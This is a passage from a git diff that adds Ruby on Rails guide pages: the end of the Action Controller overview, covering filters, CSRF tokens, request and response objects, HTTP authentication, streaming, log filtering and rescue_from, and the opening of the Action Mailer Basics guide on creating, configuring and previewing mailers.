thing. + +The first is to use a block directly with the *\_action methods. The block receives the controller as an argument. The `require_login` filter from above could be rewritten to use a block: + +```ruby +class ApplicationController < ActionController::Base + before_action do |controller| + unless controller.send(:logged_in?) + flash[:error] = "You must be logged in to access this section" + redirect_to new_login_url + end + end +end +``` + +Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter does not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. + +The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: + +```ruby +class ApplicationController < ActionController::Base + before_action LoginFilter +end + +class LoginFilter + def self.before(controller) + unless controller.send(:logged_in?) + controller.flash[:error] = "You must be logged in to access this section" + controller.redirect_to controller.new_login_url + end + end +end +``` + +Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the `before_action` filter the class must implement a `before` method, and so on. The `around` method must `yield` to execute the action. + +Request Forgery Protection +-------------------------- + +Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying, or deleting data on that site without the user's knowledge or permission. + +The first step to avoid this is to make sure all "destructive" actions (create, update, and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. + +The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access. + +If you generate a form like this: + +```erb +<%= form_with model: @user, local: true do |form| %> + <%= form.text_field :username %> + <%= form.text_field :password %> +<% end %> +``` + +You will see how the token gets added as a hidden field: + +```html +<form accept-charset="UTF-8" action="/users/1" method="post"> +<input type="hidden" + value="67250ab105eb5ad10851c00a5621854a23af5489" + name="authenticity_token"/> +<!-- fields --> +</form> +``` + +Rails adds this token to every form that's generated using the [form helpers](form_helpers.html), so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`: + +The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls. + +The [Security Guide](security.html) has more about this and a lot of other security-related issues that you should be aware of when developing a web application. + +The Request and Response Objects +-------------------------------- + +In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `ActionDispatch::Request` and the `response` method returns a response object representing what is going to be sent back to the client. + +### The `request` Object + +The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the [Rails API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Request.html) and [Rack Documentation](http://www.rubydoc.info/github/rack/rack/Rack/Request). Among the properties that you can access on this object are: + +| Property of `request` | Purpose | +| ----------------------------------------- | -------------------------------------------------------------------------------- | +| host | The hostname used for this request. | +| domain(n=2) | The hostname's first `n` segments, starting from the right (the TLD). | +| format | The content type requested by the client. | +| method | The HTTP method used for the request. | +| get?, post?, patch?, put?, delete?, head? | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD. | +| headers | Returns a hash containing the headers associated with the request. | +| port | The port number (integer) used for the request. | +| protocol | Returns a string containing the protocol used plus "://", for example "http://". | +| query_string | The query string part of the URL, i.e., everything after "?". | +| remote_ip | The IP address of the client. | +| url | The entire URL used for the request. | + +#### `path_parameters`, `query_parameters`, and `request_parameters` + +Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action. + +### The `response` Object + +The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values. To get a full list of the available methods, refer to the [Rails API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Response.html) and [Rack Documentation](http://www.rubydoc.info/github/rack/rack/Rack/Response). + +| Property of `response` | Purpose | +| ---------------------- | --------------------------------------------------------------------------------------------------- | +| body | This is the string of data being sent back to the client. This is most often HTML. | +| status | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. | +| location | The URL the client is being redirected to, if any. | +| content_type | The content type of the response. | +| charset | The character set being used for the response. Default is "utf-8". | +| headers | Headers used for the response. | + +#### Setting Custom Headers + +If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to `response.headers` this way: + +```ruby +response.headers["Content-Type"] = "application/pdf" +``` + +NOTE: In the above case it would make more sense to use the `content_type` setter directly. + +HTTP Authentications +-------------------- + +Rails comes with two built-in HTTP authentication mechanisms: + +* Basic Authentication +* Digest Authentication + +### HTTP Basic Authentication + +HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`. + +```ruby +class AdminsController < ApplicationController + http_basic_authenticate_with name: "humbaba", password: "5baa61e4" +end +``` + +With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. + +### HTTP Digest Authentication + +HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`. + +```ruby +class AdminsController < ApplicationController + USERS = { "lifo" => "world" } + + before_action :authenticate + + private + + def authenticate + authenticate_or_request_with_http_digest do |username| + USERS[username] + end + end +end +``` + +As seen in the example above, the `authenticate_or_request_with_http_digest` block takes only one argument - the username. And the block returns the password. Returning `false` or `nil` from the `authenticate_or_request_with_http_digest` will cause authentication failure. + +Streaming and File Downloads +---------------------------- + +Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, which will both stream data to the client. `send_file` is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you. + +To stream data to the client, use `send_data`: + +```ruby +require "prawn" +class ClientsController < ApplicationController + # Generates a PDF document with information on the client and + # returns it. The user will get the PDF as a file download. + def download_pdf + client = Client.find(params[:id]) + send_data generate_pdf(client), + filename: "#{client.name}.pdf", + type: "application/pdf" + end + + private + + def generate_pdf(client) + Prawn::Document.new do + text client.name, align: :center + text "Address: #{client.address}" + text "Email: #{client.email}" + end.render + end +end +``` + +The `download_pdf` action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment". + +### Sending Files + +If you want to send a file that already exists on disk, use the `send_file` method. + +```ruby +class ClientsController < ApplicationController + # Stream a file that has already been generated and stored on disk. + def download_pdf + client = Client.find(params[:id]) + send_file("#{Rails.root}/files/clients/#{client.id}.pdf", + filename: "#{client.name}.pdf", + type: "application/pdf") + end +end +``` + +This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option. + +If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content type is not registered for the extension, `application/octet-stream` will be used. + +WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to. + +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. + +### RESTful Downloads + +While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming: + +```ruby +class ClientsController < ApplicationController + # The user can request to receive this resource as HTML or PDF. + def show + @client = Client.find(params[:id]) + + respond_to do |format| + format.html + format.pdf { render pdf: generate_pdf(@client) } + end + end +end +``` + +In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`: + +```ruby +Mime::Type.register "application/pdf", :pdf +``` + +NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect. + +Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL: + +```bash +GET /clients/1.pdf +``` + +### Live Streaming of Arbitrary Data + +Rails allows you to stream more than just files. In fact, you can stream anything +you would like in a response object. The `ActionController::Live` module allows +you to create a persistent connection with a browser. Using this module, you will +be able to send arbitrary data to the browser at specific points in time. + + +#### Incorporating Live Streaming + +Including `ActionController::Live` inside of your controller class will provide +all actions inside of the controller the ability to stream data. You can mix in +the module like so: + +```ruby +class MyController < ActionController::Base + include ActionController::Live + + def stream + response.headers['Content-Type'] = 'text/event-stream' + 100.times { + response.stream.write "hello world\n" + sleep 1 + } + ensure + response.stream.close + end +end +``` + +The above code will keep a persistent connection with the browser and send 100 +messages of `"hello world\n"`, each one second apart. + +There are a couple of things to notice in the above example. We need to make +sure to close the response stream. Forgetting to close the stream will leave +the socket open forever. We also have to set the content type to `text/event-stream` +before we write to the response stream. This is because headers cannot be written +after the response has been committed (when `response.committed?` returns a truthy +value), which occurs when you `write` or `commit` the response stream. + +#### Example Usage + +Let's suppose that you were making a Karaoke machine and a user wants to get the +lyrics for a particular song. Each `Song` has a particular number of lines and +each line takes time `num_beats` to finish singing. + +If we wanted to return the lyrics in Karaoke fashion (only sending the line when +the singer has finished the previous line), then we could use `ActionController::Live` +as follows: + +```ruby +class LyricsController < ActionController::Base + include ActionController::Live + + def show + response.headers['Content-Type'] = 'text/event-stream' + song = Song.find(params[:id]) + + song.each do |line| + response.stream.write line.lyrics + sleep line.num_beats + end + ensure + response.stream.close + end +end +``` + +The above code sends the next line only after the singer has completed the previous +line. + +#### Streaming Considerations + +Streaming arbitrary data is an extremely powerful tool. As shown in the previous +examples, you can choose when and what to send across a response stream. However, +you should also note the following things: + +* Each response stream creates a new thread and copies over the thread local + variables from the original thread. Having too many thread local variables can + negatively impact performance. Similarly, a large number of threads can also + hinder performance. +* Failing to close the response stream will leave the corresponding socket open + forever. Make sure to call `close` whenever you are using a response stream. +* WEBrick servers buffer all responses, and so including `ActionController::Live` + will not work. You must use a web server which does not automatically buffer + responses. + +Log Filtering +------------- + +Rails keeps a log file for each environment in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. + +### Parameters Filtering + +You can filter out sensitive request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log. + +```ruby +config.filter_parameters << :password +``` + +NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`. + +### Redirects Filtering + +Sometimes it's desirable to filter out from log files some sensitive locations your application is redirecting to. +You can do that by using the `config.filter_redirect` configuration option: + +```ruby +config.filter_redirect << 's3.amazonaws.com' +``` + +You can set it to a String, a Regexp, or an array of both. + +```ruby +config.filter_redirect.concat ['s3.amazonaws.com', /private_path/] +``` + +Matching URLs will be marked as '[FILTERED]'. + +Rescue +------ + +Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception. + +Rails default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application: + +### The Default 500 and 404 Templates + +By default a production application will render either a 404 or a 500 error message, in the development environment all unhandled exceptions are raised. These messages are contained in static HTML files in the public folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and style, but remember that they are static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for them. + +### `rescue_from` + +If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. + +When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler. The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object. + +Here's how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them. + +```ruby +class ApplicationController < ActionController::Base + rescue_from ActiveRecord::RecordNotFound, with: :record_not_found + + private + + def record_not_found + render plain: "404 Not Found", status: 404 + end +end +``` + +Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application: + +```ruby +class ApplicationController < ActionController::Base + rescue_from User::NotAuthorized, with: :user_not_authorized + + private + + def user_not_authorized + flash[:error] = "You don't have access to this section." + redirect_back(fallback_location: root_path) + end +end + +class ClientsController < ApplicationController + # Check that the user has the right authorization to access clients. + before_action :check_authorization + + # Note how the actions don't have to worry about all the auth stuff. + def edit + @client = Client.find(params[:id]) + end + + private + + # If the user is not authorized, just throw the exception. + def check_authorization + raise User::NotAuthorized unless current_user.admin? + end +end +``` + +WARNING: Using `rescue_from` with `Exception` or `StandardError` would cause serious side-effects as it prevents Rails from handling exceptions properly. As such, it is not recommended to do so unless there is a strong reason. + +NOTE: When running in the production environment, all +`ActiveRecord::RecordNotFound` errors render the 404 error page. Unless you need +a custom behavior you don't need to handle this. + +NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. + +Force HTTPS protocol +-------------------- + +If you'd like to ensure that communication to your controller is only possible +via HTTPS, you should do so by enabling the `ActionDispatch::SSL` middleware via +`config.force_ssl` in your environment configuration. diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md new file mode 100644 index 0000000000..1acb993cad --- /dev/null +++ b/guides/source/action_mailer_basics.md @@ -0,0 +1,890 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Action Mailer Basics +==================== + +This guide provides you with all you need to get started in sending and +receiving emails from and to your application, and many internals of Action +Mailer. It also covers how to test your mailers. + +After reading this guide, you will know: + +* How to send and receive email within a Rails application. +* How to generate and edit an Action Mailer class and mailer view. +* How to configure Action Mailer for your environment. +* How to test your Action Mailer classes. + +-------------------------------------------------------------------------------- + +Introduction +------------ + +Action Mailer allows you to send emails from your application using mailer classes +and views. + +#### Mailers are similar to controllers + +They inherit from `ActionMailer::Base` and live in `app/mailers`. Mailers also work +very similarly to controllers. Some examples of similarities are enumerated below. +Mailers have: + +* Actions, and also, associated views that appear in `app/views`. +* Instance variables that are accessible in views. +* The ability to utilise layouts and partials. +* The ability to access a params hash. + +Sending Emails +-------------- + +This section will provide a step-by-step guide to creating a mailer and its +views. + +### Walkthrough to Generating a Mailer + +#### Create the Mailer + +```bash +$ rails generate mailer UserMailer +create app/mailers/user_mailer.rb +create app/mailers/application_mailer.rb +invoke erb +create app/views/user_mailer +create app/views/layouts/mailer.text.erb +create app/views/layouts/mailer.html.erb +invoke test_unit +create test/mailers/user_mailer_test.rb +create test/mailers/previews/user_mailer_preview.rb +``` + +```ruby +# app/mailers/application_mailer.rb +class ApplicationMailer < ActionMailer::Base + default from: "from@example.com" + layout 'mailer' +end + +# app/mailers/user_mailer.rb +class UserMailer < ApplicationMailer +end +``` + +As you can see, you can generate mailers just like you use other generators with +Rails. + +If you didn't want to use a generator, you could create your own file inside of +`app/mailers`, just make sure that it inherits from `ActionMailer::Base`: + +```ruby +class MyMailer < ActionMailer::Base +end +``` + +#### Edit the Mailer + +Mailers have methods called "actions" and they use views to structure their content. +Where a controller generates content like HTML to send back to the client, a Mailer +creates a message to be delivered via email. + +`app/mailers/user_mailer.rb` contains an empty mailer: + +```ruby +class UserMailer < ApplicationMailer +end +``` + +Let's add a method called `welcome_email`, that will send an email to the user's +registered email address: + +```ruby +class UserMailer < ApplicationMailer + default from: 'notifications@example.com' + + def welcome_email + @user = params[:user] + @url = 'http://example.com/login' + mail(to: @user.email, subject: 'Welcome to My Awesome Site') + end +end +``` + +Here is a quick explanation of the items presented in the preceding method. For +a full list of all available options, please have a look further down at the +Complete List of Action Mailer user-settable attributes section. + +* `default Hash` - This is a hash of default values for any email you send from +this mailer. In this case we are setting the `:from` header to a value for all +messages in this class. This can be overridden on a per-email basis. +* `mail` - The actual email message, we are passing the `:to` and `:subject` +headers in. + +#### Create a Mailer View + +Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This +will be the template used for the email, formatted in HTML: + +```html+erb +<!DOCTYPE html> +<html> + <head> + <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' /> + </head> + <body> + <h1>Welcome to example.com, <%= @user.name %></h1> + <p> + You have successfully signed up to example.com, + your username is: <%= @user.login %>.<br> + </p> + <p> + To login to the site, just follow this link: <%= @url %>. + </p> + <p>Thanks for joining and have a great day!</p> + </body> +</html> +``` + +Let's also make a text part for this email. Not all clients prefer HTML emails, +and so sending both is best practice. To do this, create a file called +`welcome_email.text.erb` in `app/views/user_mailer/`: + +```erb +Welcome to example.com, <%= @user.name %> +=============================================== + +You have successfully signed up to example.com, +your username is: <%= @user.login %>. + +To login to the site, just follow this link: <%= @url %>. + +Thanks for joining and have a great day! +``` + +When you call the `mail` method now, Action Mailer will detect the two templates +(text and HTML) and automatically generate a `multipart/alternative` email. + +#### Calling the Mailer + +Mailers are really just another way to render a view. Instead of rendering a +view and sending it over the HTTP protocol, they are just sending it out through +the email protocols instead. Due to this, it makes sense to just have your +controller tell the Mailer to send an email when a user is successfully created. + +Setting this up is painfully simple. + +First, let's create a simple `User` scaffold: + +```bash +$ rails generate scaffold user name email login +$ rails db:migrate +``` + +Now that we have a user model to play with, we will just edit the +`app/controllers/users_controller.rb` make it instruct the `UserMailer` to deliver +an email to the newly created user by editing the create action and inserting a +call to `UserMailer.with(user: @user).welcome_email` right after the user is successfully saved. + +Action Mailer is nicely integrated with Active Job so you can send emails outside +of the request-response cycle, so the user doesn't have to wait on it: + +```ruby +class UsersController < ApplicationController + # POST /users + # POST /users.json + def create + @user = User.new(params[:user]) + + respond_to do |format| + if @user.save + # Tell the UserMailer to send a welcome email after save + UserMailer.with(user: @user).welcome_email.deliver_later + + format.html { redirect_to(@user, notice: 'User was successfully created.') } + format.json { render json: @user, status: :created, location: @user } + else + format.html { render action: 'new' } + format.json { render json: @user.errors, status: :unprocessable_entity } + end + end + end +end +``` + +NOTE: Active Job's default behavior is to execute jobs via the `:async` adapter. So, you can use +`deliver_later` now to send emails asynchronously. +Active Job's default adapter runs jobs with an in-process thread pool. +It's well-suited for the development/test environments, since it doesn't require +any external infrastructure, but it's a poor fit for production since it drops +pending jobs on restart. +If you need a persistent backend, you will need to use an Active Job adapter +that has a persistent backend (Sidekiq, Resque, etc). + +NOTE: When calling `deliver_later` the job will be placed under `mailers` queue. Make sure Active Job adapter support it otherwise the job may be silently ignored preventing email delivery. You can change that by specifying `config.action_mailer.deliver_later_queue_name` option. + +If you want to send emails right away (from a cronjob for example) just call +`deliver_now`: + +```ruby +class SendWeeklySummary + def run + User.find_each do |user| + UserMailer.with(user: user).weekly_summary.deliver_now + end + end +end +``` + +Any key value pair passed to `with` just becomes the `params` for the mailer +action. So `with(user: @user, account: @user.account)` makes `params[:user]` and +`params[:account]` available in the mailer action. Just like controllers have +params. + +The method `welcome_email` returns an `ActionMailer::MessageDelivery` object which +can then just be told `deliver_now` or `deliver_later` to send itself out. The +`ActionMailer::MessageDelivery` object is just a wrapper around a `Mail::Message`. If +you want to inspect, alter, or do anything else with the `Mail::Message` object you can +access it with the `message` method on the `ActionMailer::MessageDelivery` object. + +### Auto encoding header values + +Action Mailer handles the auto encoding of multibyte characters inside of +headers and bodies. + +For more complex examples such as defining alternate character sets or +self-encoding text first, please refer to the +[Mail](https://github.com/mikel/mail) library. + +### Complete List of Action Mailer Methods + +There are just three methods that you need to send pretty much any email +message: + +* `headers` - Specifies any header on the email you want. You can pass a hash of + header field names and value pairs, or you can call `headers[:field_name] = + 'value'`. +* `attachments` - Allows you to add attachments to your email. For example, + `attachments['file-name.jpg'] = File.read('file-name.jpg')`. +* `mail` - Sends the actual email itself. You can pass in headers as a hash to + the mail method as a parameter, mail will then create an email, either plain + text, or multipart, depending on what email templates you have defined. + +#### Adding Attachments + +Action Mailer makes it very easy to add attachments. + +* Pass the file name and content and Action Mailer and the + [Mail gem](https://github.com/mikel/mail) will automatically guess the + mime_type, set the encoding, and create the attachment. + + ```ruby + attachments['filename.jpg'] = File.read('/path/to/filename.jpg') + ``` + + When the `mail` method will be triggered, it will send a multipart email with + an attachment, properly nested with the top level being `multipart/mixed` and + the first part being a `multipart/alternative` containing the plain text and + HTML email messages. + +NOTE: Mail will automatically Base64 encode an attachment. If you want something +different, encode your content and pass in the encoded content and encoding in a +`Hash` to the `attachments` method. + +* Pass the file name and specify headers and content and Action Mailer and Mail + will use the settings you pass in. + + ```ruby + encoded_content = SpecialEncode(File.read('/path/to/filename.jpg')) + attachments['filename.jpg'] = { + mime_type: 'application/gzip', + encoding: 'SpecialEncoding', + content: encoded_content + } + ``` + +NOTE: If you specify an encoding, Mail will assume that your content is already +encoded and not try to Base64 encode it. + +#### Making Inline Attachments + +Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. + +* First, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer: + + ```ruby + def welcome + attachments.inline['image.jpg'] = File.read('/path/to/image.jpg') + end + ``` + +* Then in your view, you can just reference `attachments` as a hash and specify + which attachment you want to show, calling `url` on it and then passing the + result into the `image_tag` method: + + ```html+erb + <p>Hello there, this is our image</p> + + <%= image_tag attachments['image.jpg'].url %> + ``` + +* As this is a standard call to `image_tag` you can pass in an options hash + after the attachment URL as you could for any other image: + + ```html+erb + <p>Hello there, this is our image</p> + + <%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %> + ``` + +#### Sending Email To Multiple Recipients + +It is possible to send email to one or more recipients in one email (e.g., +informing all admins of a new signup) by setting the list of emails to the `:to` +key. The list of emails can be an array of email addresses or a single string +with the addresses separated by commas. + +```ruby +class AdminMailer < ApplicationMailer + default to: -> { Admin.pluck(:email) }, + from: 'notification@example.com' + + def new_registration(user) + @user = user + mail(subject: "New User Signup: #{@user.email}") + end +end +``` + +The same format can be used to set carbon copy (Cc:) and blind carbon copy +(Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively. + +#### Sending Email With Name + +Sometimes you wish to show the name of the person instead of just their email +address when they receive the email. The trick to doing that is to format the +email address in the format `"Full Name" <email>`. + +```ruby +def welcome_email + @user = params[:user] + email_with_name = %("#{@user.name}" <#{@user.email}>) + mail(to: email_with_name, subject: 'Welcome to My Awesome Site') +end +``` + +### Mailer Views + +Mailer views are located in the `app/views/name_of_mailer_class` directory. The +specific mailer view is known to the class because its name is the same as the +mailer method. In our example from above, our mailer view for the +`welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb` +for the HTML version and `welcome_email.text.erb` for the plain text version. + +To change the default mailer view for your action you do something like: + +```ruby +class UserMailer < ApplicationMailer + default from: 'notifications@example.com' + + def welcome_email + @user = params[:user] + @url = 'http://example.com/login' + mail(to: @user.email, + subject: 'Welcome to My Awesome Site', + template_path: 'notifications', + template_name: 'another') + end +end +``` + +In this case it will look for templates at `app/views/notifications` with name +`another`. You can also specify an array of paths for `template_path`, and they +will be searched in order. + +If you want more flexibility you can also pass a block and render specific +templates or even render inline or text without using a template file: + +```ruby +class UserMailer < ApplicationMailer + default from: 'notifications@example.com' + + def welcome_email + @user = params[:user] + @url = 'http://example.com/login' + mail(to: @user.email, + subject: 'Welcome to My Awesome Site') do |format| + format.html { render 'another_template' } + format.text { render plain: 'Render text' } + end + end +end +``` + +This will render the template 'another_template.html.erb' for the HTML part and +use the rendered text for the text part. The render command is the same one used +inside of Action Controller, so you can use all the same options, such as +`:text`, `:inline` etc. + +If you would like to render a template located outside of the default `app/views/mailer_name/` directory, you can apply the `prepend_view_path`, like so: + +```ruby +class UserMailer < ApplicationMailer + prepend_view_path "custom/path/to/mailer/view" + + # This will try to load "custom/path/to/mailer/view/welcome_email" template + def welcome_email + # ... + end +end +``` + +You can also consider using the [append_view_path](https://guides.rubyonrails.org/action_view_overview.html#view-paths) method. + +#### Caching mailer view + +You can perform fragment caching in mailer views like in application views using the `cache` method. + +``` +<% cache do %> + <%= @company.name %> +<% end %> +``` + +And in order to use this feature, you need to configure your application with this: + +``` + config.action_mailer.perform_caching = true +``` + +Fragment caching is also supported in multipart emails. +Read more about caching in the [Rails caching guide](caching_with_rails.html). + +### Action Mailer Layouts + +Just like controller views, you can also have mailer layouts. The layout name +needs to be the same as your mailer, such as `user_mailer.html.erb` and +`user_mailer.text.erb` to be automatically recognized by your mailer as a +layout. + +In order to use a different file, call `layout` in your mailer: + +```ruby +class UserMailer < ApplicationMailer + layout 'awesome' # use awesome.(html|text).erb as the layout +end +``` + +Just like with controller views, use `yield` to render the view inside the +layout. + +You can also pass in a `layout: 'layout_name'` option to the render call inside +the format block to specify different layouts for different formats: + +```ruby +class UserMailer < ApplicationMailer + def welcome_email + mail(to: params[:user].email) do |format| + format.html { render layout: 'my_layout' } + format.text + end + end +end +``` + +Will render the HTML part using the `my_layout.html.erb` file and the text part +with the usual `user_mailer.text.erb` file if it exists. + +### Previewing Emails + +Action Mailer previews provide a way to see how emails look by visiting a +special URL that renders them. In the above example, the preview class for +`UserMailer` should be named `UserMailerPreview` and located in +`test/mailers/previews/user_mailer_preview.rb`. To see the preview of +`welcome_email`, implement a method that has the same name and call +`UserMailer.welcome_email`: + +```ruby +class UserMailerPreview < ActionMailer::Preview + def welcome_email + UserMailer.with(user: User.first).welcome_email + end +end +``` + +Then the preview will be available in <http://localhost:3000/rails/mailers/user_mailer/welcome_email>. + +If you change something in `app/views/user_mailer/welcome_email.html.erb` +or the mailer itself, it'll automatically reload and render it so you can +visually see the new style instantly. A list of previews are also available +in <http://localhost:3000/rails/mailers>. + +By default, these preview classes live in `test/mailers/previews`. +This can be configured using the `preview_path` option. For example, if you +want to change it to `lib/mailer_previews`, you can configure it in +`config/application.rb`: + +```ruby +config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews" +``` + +### Generating URLs in Action Mailer Views + +Unlike controllers, the mailer instance doesn't have any context about the +incoming request so you'll need to provide the `:host` parameter yourself. + +As the `:host` usually is consistent across the application you can configure it +globally in `config/application.rb`: + +```ruby +config.action_mailer.default_url_options = { host: 'example.com' } +``` + +Because of this behavior you cannot use any of the `*_path` helpers inside of +an email. Instead you will need to use the associated `*_url` helper. For example +instead of using + +``` +<%= link_to 'welcome', welcome_path %> +``` + +You will need to use: + +``` +<%= link_to 'welcome', welcome_url %> +``` + +By using the full URL, your links will now work in your emails. + +#### Generating URLs with `url_for` + +`url_for` generates a full URL by default in templates. + +If you did not configure the `:host` option globally make sure to pass it to +`url_for`. + + +```erb +<%= url_for(host: 'example.com', + controller: 'welcome', + action: 'greeting') %> +``` + +#### Generating URLs with Named Routes + +Email clients have no web context and so paths have no base URL to form complete +web addresses. Thus, you should always use the "_url" variant of named route +helpers. + +If you did not configure the `:host` option globally make sure to pass it to the +url helper. + +```erb +<%= user_url(@user, host: 'example.com') %> +``` + +NOTE: non-`GET` links require [rails-ujs](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts) or +[jQuery UJS](https://github.com/rails/jquery-ujs), and won't work in mailer templates. +They will result in normal `GET` requests. + +### Adding images in Action Mailer Views + +Unlike controllers, the mailer instance doesn't have any context about the +incoming request so you'll need to provide the `:asset_host` parameter yourself. + +As the `:asset_host` usually is consistent across the application you can +configure it globally in `config/application.rb`: + +```ruby +config.action_mailer.asset_host = 'http://example.com' +``` + +Now you can display an image inside your email. + +```ruby +<%= image_tag 'image.jpg' %> +``` + +### Sending Multipart Emails + +Action Mailer will automatically send multipart emails if you have different +templates for the same action. So, for our `UserMailer` example, if you have +`welcome_email.text.erb` and `welcome_email.html.erb` in +`app/views/user_mailer`, Action Mailer will automatically send a multipart email +with the HTML and text versions setup as different parts. + +The order of the parts getting inserted is determined by the `:parts_order` +inside of the `ActionMailer::Base.default` method. + +### Sending Emails with Dynamic Delivery Options + +If you wish to override the default delivery options (e.g. SMTP credentials) +while delivering emails, you can do this using `delivery_method_options` in the +mailer action. + +```ruby +class UserMailer < ApplicationMailer + def welcome_email + @user = params[:user] + @url = user_url(@user) + delivery_options = { user_name: params[:company].smtp_user, + password: params[:company].smtp_password, + address: params[:company].smtp_host } + mail(to: @user.email, + subject: "Please see the Terms and Conditions attached", + delivery_method_options: delivery_options) + end +end +``` + +### Sending Emails without Template Rendering + +There may be cases in which you want to skip the template rendering step and +supply the email body as a string. You can achieve this using the `:body` +option. In such cases don't forget to add the `:content_type` option. Rails +will default to `text/plain` otherwise. + +```ruby +class UserMailer < ApplicationMailer + def welcome_email + mail(to: params[:user].email, + body: params[:email_body], + content_type: "text/html", + subject: "Already rendered!") + end +end +``` + +Receiving Emails +---------------- + +Receiving and parsing emails with Action Mailer can be a rather complex +endeavor. Before your email reaches your Rails app, you would have had to +configure your system to somehow forward emails to your app, which needs to be +listening for that. So, to receive 